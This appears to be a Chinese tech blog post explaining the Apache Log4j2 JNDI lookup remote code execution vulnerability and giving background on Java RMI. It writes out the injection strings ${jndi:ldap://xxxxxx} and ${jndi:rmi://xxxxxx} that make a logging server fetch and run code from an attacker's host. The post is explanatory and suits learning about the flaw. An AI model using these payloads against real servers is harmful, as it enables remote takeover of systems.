相信大家最近都被Apache的Log4j2漏洞相关的文章刷屏了。不得不说,这个漏洞的影响范围非常广泛。许多互联网公司和开源软件都受到了影响。作为一个特别通用的日志框架,日常使用场景非常多,而且很多开源软件都在使用,所以这次影响到的公司非常多,堪称核弹级别的漏洞!不过据悉,2021年11月24日,阿里云安全团队向Apache官方报告发现ApacheLog4j2远程代码执行漏洞。这可能就是为什么阿里内部的群里很安静,没有风吹草动的原因。毕竟有保卫部啊!但许多其他公司都是工程师。不幸的是,他们都说是在12月10号昨晚拉起修复漏洞的,还有很多补丁要给客户打。漏洞描述我们都知道,在使用ApacheLog4j2记录日志时,格式logger.info("params:{}",params);将用于组装。别告诉阿粉你是用加号组装的~。log4j2底层在组装时,如果发现传入的params中包含${}字符串,则在替换时进行查找操作。所谓查找操作就是让变量可以通过JNDI进行检索。通过JNDI注入漏洞,黑客可以恶意构造特殊的数据请求包来触发该漏洞,进而成功利用该漏洞在目标服务器上执行任意代码,想想就毛骨悚然!也就是说,当params中的参数包含一些特定的字符时会触发该漏洞,比如:${jndi:ldap://xxxxxx},${jndi:rmi://xxxxxx}其中xxxxxx代表黑客的服务地址。黑客通过构造这样一个字符串来访问目标网站。只要程序通过log4j2记录日志,无论是什么级别,都会触发log4j2的查找功能,然后通过RMI访问到黑客的服务地址。黑客通过这个服务输出一个类字节码文件,可以执行这个字节码文件中的任何内容,相当于把服务器交给了黑客,后果可想而知!攻击原理有一本攻击原理的大书,给你看,阿粉,很详细。相关实现代码放在后台,获取回复关键字[log4j],但是复现的过程可能比较坎坷,因为JDK版本的问题,很多小伙伴可能复现不了.RMI估计很多小伙伴看到这个漏洞可能会有和阿芬一样的疑问,那就是RMI是什么?运用面向搜索引擎的编程技巧,阿芬找到了以下内容,看起来很容易理解。JavaRMI(JavaRemoteMethodInvocation),即Java远程方法调用。它是用Java编程语言实现远程过程调用的应用程序编程接口。有点类似于我们常用的服务注册发现机制,是使用JRMP(JavaRemoteMessageProtocol,Java远程消息交换协议)实现的,这样运行在客户端的程序就可以调用远程服务器上的对象了,感觉有点像RPC。王健博士曾说过:安全是互联网企业的生命,也是每个网民最基本的需求。互联网软件的安全关系到我们每一位程序员。在日常工作中,我们要随时准备应对各种安全漏洞,我们编写的代码也要尽量做到没有漏洞。为此,阿芬特意找到了一本阿里知名白帽子Dao写的一本书《白帽子讲 Web 安全》,里面分析了很多种web安全。如下图,让我们为互联网的安全做一份小小的贡献。
